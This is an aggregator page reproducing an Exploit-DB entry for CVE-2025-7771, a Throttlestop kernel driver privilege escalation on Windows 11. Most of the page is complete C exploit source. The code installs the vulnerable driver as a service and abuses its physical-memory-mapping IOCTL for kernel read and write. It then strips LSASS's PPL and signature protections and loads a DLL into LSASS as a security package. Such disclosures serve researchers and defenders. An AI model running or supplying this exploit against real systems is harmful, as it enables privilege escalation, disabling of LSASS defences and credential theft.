Security News

Cybersecurity news aggregator

🪟
MEDIUM Vulnerabilities Exploit-DB

[local] Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation

  • What: Privilege escalation vulnerability in Throttlestop Kernel Driver
  • Impact: Local users could gain elevated privileges
Read Full Article →

This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation EDB-ID: 52512 CVE: 2025-7771 EDB Verified: Author: XAVI BELTRAN Type: LOCAL Exploit: / Platform: WINDOWS Date: 2026-04-22 Vulnerable App: # Exploit Title: Throttlestop Kernel Driver - Kernel Out-of-Bounds Write Privilege Escalation # Exploit Details: https://xavibel.com/2025/12/22/using-vulnerable-drivers-in-red-team-exercises/ # Date: 8/12/2025 # Exploit Author: Xavi Beltran # Vendor Homepage: https://www.techpowerup.com/download/techpowerup-throttlestop/ # Version: 3.0.0.0 # Tested on: Windows 11 # CVE-2025-7771 #define WIN32_NO_STATUS #define SECURITY_WIN32 #include <Windows.h> #include <Psapi.h> #include <superfetch/superfetch.h> #include <tlhelp32.h> #include <string> #include <sspi.h> # define IOCTL_MMMAPIOSPACE 0x8000645C #pragma comment(lib, "Secur32.lib") #pragma pack(push,1) typedef struct { ULONGLONG PhysicalAddress; // +0 DWORD NumberOfBytes; // +8 } PHYS_REQ; // 0x0C #pragma pack(pop) // Struct needed to call nt!NtQueryIntervalProfile typedef NTSTATUS(WINAPI* NtQueryIntervalProfile_t)(IN ULONG ProfileSource, OUT PULONG Interval); LPVOID GetBaseAddr(LPCWSTR drvname) { LPVOID drivers[1024]; DWORD cbNeeded; int nDrivers, i = 0; if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { WCHAR szDrivers[1024]; nDrivers = cbNeeded / sizeof(drivers[0]); for (i = 0; i < nDrivers; i++) { if (GetDeviceDriverBaseName(drivers[i], szDrivers, sizeof(szDrivers) / sizeof(szDrivers[0]))) { if (wcscmp(szDrivers, drvname) == 0) { return drivers[i]; } } } } return 0; } uint64_t xRead(HANDLE hDrv, uint64_t virt_addr) { auto mm = spf::memory_map::current(); if (!mm) { printf("[!] Superfetch init failed!\n"); return 0; } auto phys = mm->translate((void*)virt_addr); if (!phys) { printf("[!] Translate failed for VA %p!\n", (void*)virt_addr); return 0; } //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", virt_addr, phys); // --- PHYSICAL READ --- PHYS_REQ in{}; in.PhysicalAddress = phys; in.NumberOfBytes = 0x8; ULONGLONG out = 0; DWORD br = 0; BOOL ok = DeviceIoControl(hDrv, IOCTL_MMMAPIOSPACE, &in, sizeof(in), // 0x0C &out, sizeof(out), // Accepts 4 or 8 &br, nullptr); //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out); if (ok && br == 8 && out) { ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos printf("[+] READ WHERE: 0x%016llx | CONTENT: 0x%016llx\n", (unsigned long long)virt_addr, (unsigned long long)result); return result; } return -1; } uint64_t xWrite(HANDLE hDrv, uint64_t where, uint64_t what) { auto mm = spf::memory_map::current(); if (!mm) { printf("[!] Superfetch init failed!\n"); return 0; } auto phys = mm->translate((void*)where); if (!phys) { printf("[!] Translate failed for VA %p!\n", (void*)where); return 0; } //printf("[+] Virtual Adress=0x%016llx -> Physical Address 0x%016llx\n", where, phys); PHYS_REQ in{}; in.PhysicalAddress = phys; in.NumberOfBytes = 0x8; ULONGLONG out = 0; DWORD br = 0; BOOL ok = DeviceIoControl(hDrv, IOCTL_MMMAPIOSPACE, &in, sizeof(in), // 0x0C &out, sizeof(out), // 8 (Accepts 4 or 8) &br, nullptr); //printf("[+] IOCTL OK=%d, br=%lu, err=%lu, Mapped Memory Ptr=0x%llx\n", ok, br, GetLastError(), (unsigned long long)out); if (ok && br == 8 && out) { ULONGLONG result = *(volatile ULONGLONG*)(uintptr_t)out; // 8 bytes exactos } // WRITE printf("[+] WRITE WHAT: 0x%016llx | WHERE: 0x%016llx\n", (unsigned long long)what, (unsigned long long)where); *(uint64_t*)out = what; return 0; } DWORD FindProcessId(const std::wstring& processName) { DWORD processId = 0; HANDLE snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (snapshot == INVALID_HANDLE_VALUE) return 0; PROCESSENTRY32W entry; entry.dwSize = sizeof(PROCESSENTRY32W); if (Process32FirstW(snapshot, &entry)) { do { if (!_wcsicmp(entry.szExeFile, processName.c_str())) { processId = entry.th32ProcessID; break; } } while (Process32NextW(snapshot, &entry)); } CloseHandle(snapshot); return processId; } int main() { DWORD lsassPid = FindProcessId(L"lsass.exe"); printf("[+] Target process PID: %d\n", lsassPid); //Installing the service SC_HANDLE hSCManager; SC_HANDLE hService; // Open the Service Control Manager hSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_CREATE_SERVICE); if (hSCManager == NULL) { printf("[!] Error opening SCM: %lu\n", GetLastError()); return 1; } // Create the service hService = CreateService( hSCManager, L"ThrottleStop", L"ThrottleStop", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, L"C:\\Users\\Public\\a.sys", NULL, NULL, NULL, NULL, NULL); if (hService == NULL) { printf("[+] Error creating service: %lu\n", GetLastError()); CloseServiceHandle(hSCManager); //return 1; } printf("[!] Service created successfully.\n"); if (!StartService(hService, 0, NULL)) { printf("[!] Error starting the service: %lu\n", GetLastError()); } else { printf("[+] Service started correctly.\n"); } LPVOID nt_base = GetBaseAddr(L"ntoskrnl.exe"); printf("[+] NT base: %p\n", nt_base); HANDLE hDrv = NULL; hDrv = CreateFileA("\\\\.\\ThrottleStop", (GENERIC_READ | GENERIC_WRITE), 0x00, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDrv == INVALID_HANDLE_VALUE) { printf("[-] Failed to get a handle on driver!\n"); return -1; } else { printf("[+] Handle on driver received!\n"); } ULONGLONG result = 0x0; // nt!PsInitialSystemProcess nt + 0x5412e0 ULONGLONG system_eprocess = ULONGLONG(nt_base) + 0x5412e0; DWORD64 Eprocess = xRead(hDrv, (uint64_t)system_eprocess); printf("[+] EPROCESS: 0x%llX\n", Eprocess); DWORD64 CurrentProcessPid = xRead(hDrv, (uint64_t)system_eprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void DWORD64 SearchProcessPid = 0; DWORD64 searchEprocess = Eprocess; while (1) { searchEprocess = xRead(hDrv, (uint64_t)searchEprocess + 0x2e8) - 0x2e8; // +0x2e8 ActiveProcessLinks : _LIST_ENTRY SearchProcessPid = xRead(hDrv, (uint64_t)searchEprocess + 0x2e0); // +0x2e0 UniqueProcessId : Ptr64 Void if (SearchProcessPid == lsassPid) // LSASS PROCESS { break; } } printf("[+] Found LSASS EPROCESS!\n"); printf("[+] Removing PPL Protection...\n"); xWrite(hDrv, (uint64_t)searchEprocess + 0x6ca, 0x0); // +0x6ca Protection : _PS_PROTECTION printf("[+] Removing Signature Level Protection...\n"); xWrite(hDrv, (uint64_t)searchEprocess + 0x6c8, 0x0);// +0x6c8 Protection : SignatureLevel : UChar printf("[+] LSASS protections disabled\n"); CloseHandle(hDrv); SECURITY_PACKAGE_OPTIONS spo = {}; SECURITY_STATUS ss = AddSecurityPackageA((LPSTR)"c:\\windows\\system32\\ntssp.dll", &spo); printf("[+] DLL Injection successful!\n"); return 0; } Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.

Share this article